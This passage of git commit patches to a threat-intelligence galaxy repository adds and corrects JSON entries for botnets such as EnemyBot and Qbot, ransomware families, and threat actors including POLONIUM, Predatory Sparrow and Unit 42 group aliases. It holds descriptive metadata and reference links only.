Tor network, making its takedown more complicated.\n\nEnemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.", + "meta": { + "refs": [ + "https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/", + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot", + "https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet", + "https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers" + ] + }, + "related": [ + { + "dest-uuid": "262d18be-7cab-46c2-bcb0-47fff17604aa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "fcdfd4af-da35-49a8-9610-19be8a487185", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "variant-of" + }, + { + "dest-uuid": "40795af6-b721-11e8-9fcb-570c0b384135", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "variant-of" + } + ], + "uuid": "a5a067c9-c4d7-4f33-8e6f-01b903f89908" } ], - "version": 25 + "version": 26 } diff --git a/clusters/malpedia.json b/clusters/malpedia.json index cb5af6a..c2551c1 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -3875,6 +3875,15 @@ "synonyms": [], "type": [] }, + "related": [ + { + "dest-uuid": "a5a067c9-c4d7-4f33-8e6f-01b903f89908", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], "uuid": "262d18be-7cab-46c2-bcb0-47fff17604aa", "value": "EnemyBot" }, @@ -45260,5 +45269,5 @@ "value": "Zyklon" } ], - "version": 14973 + "version": 14974 } From 71c93f5b24053ce39c9df540d849a843a434eb34 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 10:53:14 +0200 Subject: [PATCH 013/167] fix caps typo --- clusters/botnet.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index 4922a88..ac9d202 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1293,7 +1293,6 @@ "value": "Ripprbot" }, { - "Value": "EnemyBot", "description": "In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.\n\nThis botnet is mainly derived from Gafgyt’s source code but has been observed to borrow several modules from Mirai’s original source code.\n\nIt uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.\n\nEnemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.", "meta": { "refs": [ @@ -1326,7 +1325,8 @@ "type": "variant-of" } ], - "uuid": "a5a067c9-c4d7-4f33-8e6f-01b903f89908" + "uuid": "a5a067c9-c4d7-4f33-8e6f-01b903f89908", + "value": "EnemyBot" } ], "version": 26 From 300d6087704c36c499fd92b61bf4a925b56a6c87 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 10:54:37 +0200 Subject: [PATCH 014/167] jq --- clusters/ransomware.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index b0311a0..371526c 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24555,7 +24555,6 @@ }, "uuid": "5617e6fa-4e6a-4011-9385-6b1165786563", "value": "HelloXD" - }, { "description": "Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.", From 6c6355f2ba528cf33b98d8997e3ddb82a28ffde0 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 11:31:08 +0200 Subject: [PATCH 015/167] fix typo --- clusters/ransomware.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 371526c..c5164a1 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -2250,7 +2250,7 @@ "https://id-ransomware.blogspot.co.il/2017/01/xcrypt-ransomware.html", "https://twitter.com/JakubKroustek/status/825790584971472902" ], - "synonyns": [ + "synonyms": [ "XCrypt" ] }, @@ -24568,5 +24568,5 @@ "value": "Maui ransomware" } ], - "version": 104 + "version": 105 } From d40017ae503139b9dbfa174eed90b56b17e031cc Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 14:03:43 +0200 Subject: [PATCH 016/167] add Qbot --- clusters/botnet.json | 37 +++++++++++++++++++++++++++++++++++++ clusters/ransomware.json | 9 +++++++++ 2 files changed, 46 insertions(+) diff --git a/clusters/botnet.json b/clusters/botnet.json index ac9d202..dc7305d 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1323,10 +1323,47 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "variant-of" + }, + { + "dest-uuid": "e878d24d-f122-48c4-930c-f6b6d5f0ee28", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "variant-of" + }, + { + "dest-uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "variant-of" } ], "uuid": "a5a067c9-c4d7-4f33-8e6f-01b903f89908", "value": "EnemyBot" + }, + { + "description": "Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.", + "meta": { + "refs": [ + "https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf" + ], + "synonyms": [ + "QakBot", + "Pinkslipbot" + ] + }, + "related": [ + { + "dest-uuid": "c4417bfb-717f-48d9-bd56-bc9e85d07c19", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "dropped" + } + ], + "uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", + "value": "Qbot" } ], "version": 26 diff --git a/clusters/ransomware.json b/clusters/ransomware.json index c5164a1..8abc7f5 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -22140,6 +22140,15 @@ }, { "description": "ransomware", + "related": [ + { + "dest-uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "dropped-by" + } + ], "uuid": "c4417bfb-717f-48d9-bd56-bc9e85d07c19", "value": "ProLock" }, From a86d866534d2017aa2a73405978faeb777793e11 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Tue, 12 Jul 2022 12:14:27 +0000 Subject: [PATCH 017/167] Add POLONIUM TA. --- clusters/threat-actor.json | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a8e651b..5b57f9f 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9542,7 +9542,40 @@ }, "uuid": "091a0b69-74de-44b6-bb12-16b7a8fd078b", "value": "ToddyCat" + }, + { + "description": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", + "meta": { + "attribution-confidence": "75", + "cfr-suspected-state-sponsor": [ + "Lebanon", + "Iran" + ], + "cfr-suspected-victims": [ + "Israel" + ], + "cfr-target-category": [ + "Critical manufacturing", + "Defense industrial base", + "Financial services", + "Food and agriculture", + "Government agencies and services", + "Healthcare and public health", + "Information technology", + "Transportation systems" + ], + "cfr-type-of-incident": "Espionage", + "country": [ + "LB", + "IR" + ], + "refs": [ + "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/" + ] + }, + "uuid": "3c5129ea-8f18-4bcf-a33b-b5aab0720494", + "value": "POLONIUM" } ], - "version": 229 + "version": 230 } From 1a8835bcae516bc0de0c1f65269fa94de9cba96e Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Tue, 12 Jul 2022 13:11:11 +0000 Subject: [PATCH 018/167] Remove list from POLONIUM TA. --- clusters/threat-actor.json | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5b57f9f..55faeab 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9547,10 +9547,7 @@ "description": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", "meta": { "attribution-confidence": "75", - "cfr-suspected-state-sponsor": [ - "Lebanon", - "Iran" - ], + "cfr-suspected-state-sponsor": "Iran", "cfr-suspected-victims": [ "Israel" ], @@ -9565,10 +9562,7 @@ "Transportation systems" ], "cfr-type-of-incident": "Espionage", - "country": [ - "LB", - "IR" - ], + "country": "IR", "refs": [ "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/" ] From b1c853bf42c0397810adc6385f17206147c9cca3 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 12 Jul 2022 15:51:55 +0200 Subject: [PATCH 019/167] update version --- clusters/botnet.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index dc7305d..dd9f867 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1366,5 +1366,5 @@ "value": "Qbot" } ], - "version": 26 + "version": 27 } From 90da0d798f88d6c383c5773840bc73abfccc2917 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Tue, 12 Jul 2022 16:21:41 +0000 Subject: [PATCH 020/167] Set country to LB instead of IR based on operational activity. --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 55faeab..5dd0a53 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9547,7 +9547,7 @@ "description": "Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.", "meta": { "attribution-confidence": "75", - "cfr-suspected-state-sponsor": "Iran", + "cfr-suspected-state-sponsor": "Lebanon", "cfr-suspected-victims": [ "Israel" ], @@ -9562,7 +9562,7 @@ "Transportation systems" ], "cfr-type-of-incident": "Espionage", - "country": "IR", + "country": "LB", "refs": [ "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/" ] From 240a757826ef6870c8d09ea6c943ba606269f661 Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Wed, 13 Jul 2022 10:02:07 +0200 Subject: [PATCH 021/167] Update threat-actor.json adding Predatory Sparrow due to recent events. --- clusters/threat-actor.json | 26 +++++++++++++++++++++++++- 1 file changed, 25 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5dd0a53..5e8eb7b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9569,7 +9569,31 @@ }, "uuid": "3c5129ea-8f18-4bcf-a33b-b5aab0720494", "value": "POLONIUM" + }, + { + "description": "A self-proclaimed hacktivist group that carried out attacks against Iranian railway systems and against Iranian steel plants.", + "meta": { + "cfr-suspected-victims": [ + "Iran" + ], + "cfr-target-category": [ + "Critical manufacturing", + "Transportation systems" + ], + "cfr-type-of-incident": "Sabotage", + "refs": [ + "https://www.bbc.com/news/technology-62072480", + "https://twitter.com/_cpresearch_/status/1541753913732366338", + "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/" + ], + "synonyms": [ + "Indra", + "Gonjeshke Darande" + ] + }, + "uuid": "e665ac2f-87b4-4c2e-bef7-78bf0a8af87b", + "value": "Predatory Sparrow" } ], - "version": 230 + "version": 231 } From 082d506b64ccdc2c747d24259e854ebef6146107 Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Tue, 19 Jul 2022 08:45:09 +0200 Subject: [PATCH 022/167] adding new Unit 42 names First PR: those are the directly mappable names. I will follow up after deconfliction and then with a few new entries. --- clusters/threat-actor.json | 152 +++++++++++++++++++++++++------------ 1 file changed, 105 insertions(+), 47 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 5e8eb7b..2c66884 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1042,7 +1042,8 @@ "https://arstechnica.com/information-technology/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", "https://securelist.com/luckymouse-hits-national-data-center/86083/", "https://attack.mitre.org/groups/G0027/", - "https://www.secureworks.com/research/threat-profiles/bronze-union" + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://unit42.paloaltonetworks.com/atoms/iron-taurus/" ], "synonyms": [ "TG-3390", @@ -1056,7 +1057,8 @@ "Iron Tiger", "BRONZE UNION", "Lucky Mouse", - "G0027" + "G0027", + "Iron Taurus" ] }, "related": [ @@ -1111,7 +1113,8 @@ "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "https://www.fbi.gov/news/stories/chinese-hackers-indicted-122018", "https://attack.mitre.org/groups/G0045/", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside" + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://unit42.paloaltonetworks.com/atoms/granite-taurus/" ], "synonyms": [ "APT10", @@ -1129,7 +1132,8 @@ "Cloud Hopper", "BRONZE RIVERSIDE", "ATK41", - "G0045" + "G0045", + "Granite Taurus" ] }, "related": [ @@ -1584,13 +1588,15 @@ "refs": [ "http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/", "https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf" + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf", + "https://unit42.paloaltonetworks.com/atoms/crawling-taurus/" ], "synonyms": [ "APT20", "APT 20", "TH3Bug", - "Twivy" + "Twivy", + "Crawling Taurus" ] }, "uuid": "8bcd855f-a4c1-453a-bede-ff36582f4f40", @@ -2413,7 +2419,8 @@ "https://marcoramilli.com/2019/12/05/apt28-attacks-evolution/", "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", - "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/" + "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/", + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/" ], "synonyms": [ "APT 28", @@ -2436,7 +2443,8 @@ "Grizzly Steppe", "apt_sofacy", "G0007", - "ATK5" + "ATK5", + "Fighting Ursa" ] }, "related": [ @@ -2495,7 +2503,8 @@ "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", "https://cloudblogs.microsoft.com/microsoftsecure/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", "https://www.secureworks.com/research/threat-profiles/iron-hemlock", - "https://attack.mitre.org/groups/G0016" + "https://attack.mitre.org/groups/G0016", + "https://unit42.paloaltonetworks.com/atoms/cloaked-ursa/" ], "synonyms": [ "Dukes", @@ -2518,7 +2527,8 @@ "Iron Hemlock", "Grizzly Steppe", "G0016", - "ATK7" + "ATK7", + "Cloaked Ursa" ] }, "related": [ @@ -3437,7 +3447,8 @@ "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "https://www.secureworks.com/research/threat-profiles/zinc-emerson", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", - "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait" + "https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait", + "https://unit42.paloaltonetworks.com/atoms/thirstygemini/" ], "synonyms": [ "Chinastrats", @@ -3449,7 +3460,8 @@ "ZINC EMERSON", "ATK11", "G0040", - "Orannge Athos" + "Orange Athos", + "Thirsty Gemini" ] }, "related": [ @@ -3479,10 +3491,12 @@ "refs": [ "https://attack.mitre.org/wiki/Groups", "https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/", - "https://attack.mitre.org/groups/G0029/" + "https://attack.mitre.org/groups/G0029/", + "https://unit42.paloaltonetworks.com/atoms/golfing-taurus/" ], "synonyms": [ - "G0029" + "G0029", + "Golfing Taurus" ] }, "related": [ @@ -3862,7 +3876,8 @@ "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", - "https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/" + "https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/", + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/" ], "synonyms": [ "Twisted Kitten", @@ -3873,7 +3888,8 @@ "APT34", "IRN2", "ATK40", - "G0049" + "G0049", + "Evasive Serpens" ] }, "related": [ @@ -4312,13 +4328,15 @@ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/" + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", + "https://unit42.paloaltonetworks.com/atoms/tridentursa/" ], "synonyms": [ "Primitive Bear", "Shuckworm", "ACTINIUM", - "G0047" + "G0047", + "Trident Ursa" ] }, "related": [ @@ -4788,14 +4806,16 @@ "https://www.computerweekly.com/news/252446153/Three-Carbanak-cyber-heist-gang-members-arrested", "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "https://attack.mitre.org/groups/G0080/", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood" + "http://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://unit42.paloaltonetworks.com/atoms/mulelibra/" ], "synonyms": [ "Cobalt Group", "Cobalt Gang", "GOLD KINGSWOOD", "COBALT SPIDER", - "G0080" + "G0080", + "Mule Libra" ] }, "uuid": "01967480-c49b-4d4a-a7fa-aef0eaf535fe", @@ -4935,14 +4955,16 @@ "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "https://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", "https://attack.mitre.org/groups/G0060/", - "https://www.secureworks.com/research/threat-profiles/bronze-butler" + "https://www.secureworks.com/research/threat-profiles/bronze-butler", + "https://unit42.paloaltonetworks.com/atoms/stalkertaurus/" ], "synonyms": [ "Nian", "BRONZE BUTLER", "REDBALDKNIGHT", "STALKER PANDA", - "G0060" + "G0060", + "Stalker Taurus" ] }, "related": [ @@ -5710,7 +5732,8 @@ "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html", "https://www.zdnet.com/article/new-leaks-of-iranian-cyber-espionage-operations-hit-telegram-and-the-dark-web/", "https://attack.mitre.org/groups/G0069/", - "http://www.secureworks.com/research/threat-profiles/cobalt-ulster" + "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://unit42.paloaltonetworks.com/atoms/boggyserpens/" ], "synonyms": [ "TEMP.Zagros", @@ -5719,7 +5742,8 @@ "MERCURY", "COBALT ULSTER", "G0069", - "ATK51" + "ATK51", + "Boggy Serpens" ] }, "related": [ @@ -6222,13 +6246,15 @@ "refs": [ "https://unit42.paloaltonetworks.com/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", "https://www.cfr.org/interactive/cyber-operations/rancor", - "https://attack.mitre.org/groups/G0075/" + "https://attack.mitre.org/groups/G0075/", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" ], "synonyms": [ "Rancor group", "Rancor", "Rancor Group", - "G0075" + "G0075", + "Rancor Taurus" ] }, "uuid": "79c7c7e0-79d5-11e8-9b9c-1ff96be20c0b", @@ -6262,13 +6288,15 @@ "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", "https://unit42.paloaltonetworks.com/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/", "https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/", - "https://attack.mitre.org/groups/G0078/" + "https://attack.mitre.org/groups/G0078/", + "https://unit42.paloaltonetworks.com/atoms/pastygemini/" ], "synonyms": [ "Gorgon Group", "Subaat", "ATK92", - "G0078" + "G0078", + "Pasty Gemini" ] }, "uuid": "e47c2c4d-706b-4098-92a2-b93e7103e131", @@ -6283,11 +6311,13 @@ "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", "https://unit42.paloaltonetworks.com/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/", "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", - "https://attack.mitre.org/groups/G0079/" + "https://attack.mitre.org/groups/G0079/", + "https://unit42.paloaltonetworks.com/atoms/obscureserpens/" ], "synonyms": [ "LazyMeerkat", - "G0079" + "G0079", + "Obscure Serpens" ] }, "uuid": "ce2c2dfd-2445-4fbc-a747-9e7092e383f9", @@ -6399,7 +6429,11 @@ "https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740/", "https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", - "https://www.akamai.com/uk/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf" + "https://www.akamai.com/uk/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf", + "https://unit42.paloaltonetworks.com/atoms/clean-ursa/" + ], + "synonyms": [ + "Clean Ursa" ] }, "uuid": "71ef51ca-a791-11e8-a026-07980ca910ca", @@ -7084,13 +7118,15 @@ "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "https://attack.mitre.org/groups/G0087/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman" + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://unit42.paloaltonetworks.com/atoms/radioserpens/" ], "synonyms": [ "Chafer", "REMIX KITTEN", "COBALT HICKMAN", - "G0087" + "G0087", + "Radio Serpens" ] }, "uuid": "c2c64bd3-a325-446f-91a8-b4c0f173a30b", @@ -7437,7 +7473,8 @@ "https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", + "https://unit42.paloaltonetworks.com/atoms/mangataurus/" ], "synonyms": [ "CIRCUIT PANDA", @@ -7445,7 +7482,8 @@ "HUAPI", "Palmerworm", "G0098", - "T-APT-03" + "T-APT-03", + "Manga Taurus" ] }, "uuid": "320c42f7-eab7-4ef9-b09a-74396caa6c3e", @@ -7627,7 +7665,11 @@ "meta": { "refs": [ "https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments/", - "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf" + "https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf", + "https://unit42.paloaltonetworks.com/atoms/windyphoenix/" + ], + "synonyms": [ + "Windy Phoenix" ] }, "uuid": "cbbbfc82-9294-11e9-8e19-2bc14137b25b", @@ -7719,7 +7761,11 @@ "refs": [ "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", - "https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/" + "https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/", + "https://unit42.paloaltonetworks.com/atoms/agedlibra/" + ], + "synonyms": [ + "Aged Libra" ] }, "uuid": "53583c40-935e-11e9-b4fc-d7e217a306d2", @@ -8346,12 +8392,14 @@ "description": "COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.", "meta": { "refs": [ - "https://www.secureworks.com/research/threat-profiles/cobalt-katana" + "https://www.secureworks.com/research/threat-profiles/cobalt-katana", + "https://unit42.paloaltonetworks.com/atoms/hunter-serpens/" ], "synonyms": [ "Hive0081 (IBM)", "SectorD01 (NHSC)", - "xHunt campaign (Palo Alto)" + "xHunt campaign (Palo Alto)", + "Hunter Serpens" ] }, "uuid": "d1c25b0e-e4c5-4b7c-b790-2e185cb2f07e", @@ -8374,10 +8422,12 @@ "refs": [ "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://www.youtube.com/watch?v=fBFm2fiEPTg", - "https://troopers.de/troopers22/talks/7cv8pz/" + "https://troopers.de/troopers22/talks/7cv8pz/", + "https://unit42.paloaltonetworks.com/atoms/alloytaurus/" ], "synonyms": [ - "Red Dev 4" + "Red Dev 4", + "Alloy Taurus" ] }, "related": [ @@ -8574,7 +8624,11 @@ "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", "https://cyware.com/news/hildegard-teamtnts-new-feature-rich-malware-targeting-kubernetes-6587eb45", - "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/" + "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/", + "https://unit42.paloaltonetworks.com/atoms/adept-libra/" + ], + "synonyms": [ + "Adept Libra" ] }, "uuid": "27de6a09-844b-4dcb-9ff9-7292aad826ba", @@ -8868,13 +8922,15 @@ "meta": { "refs": [ "https://www.secureworks.com/research/threat-profiles/gold-cabin", - "https://attack.mitre.org/groups/G0127/" + "https://attack.mitre.org/groups/G0127/", + "https://unit42.paloaltonetworks.com/atoms/monsterlibra/" ], "synonyms": [ "Shakthak", "TA551", "ATK236", - "G0127" + "G0127", + "Monster Libra" ] }, "uuid": "36e8c848-4d20-47ea-9fc2-31aa17bf82d1", @@ -9352,12 +9408,14 @@ "https://cert.gov.ua/article/38374", "https://blog.malwarebytes.com/threat-intelligence/2022/04/new-uac-0056-activity-theres-a-go-elephant-in-the-room/", "https://www.intezer.com/blog/research/elephant-malware-targeting-ukrainian-orgs/", - "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/" + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + 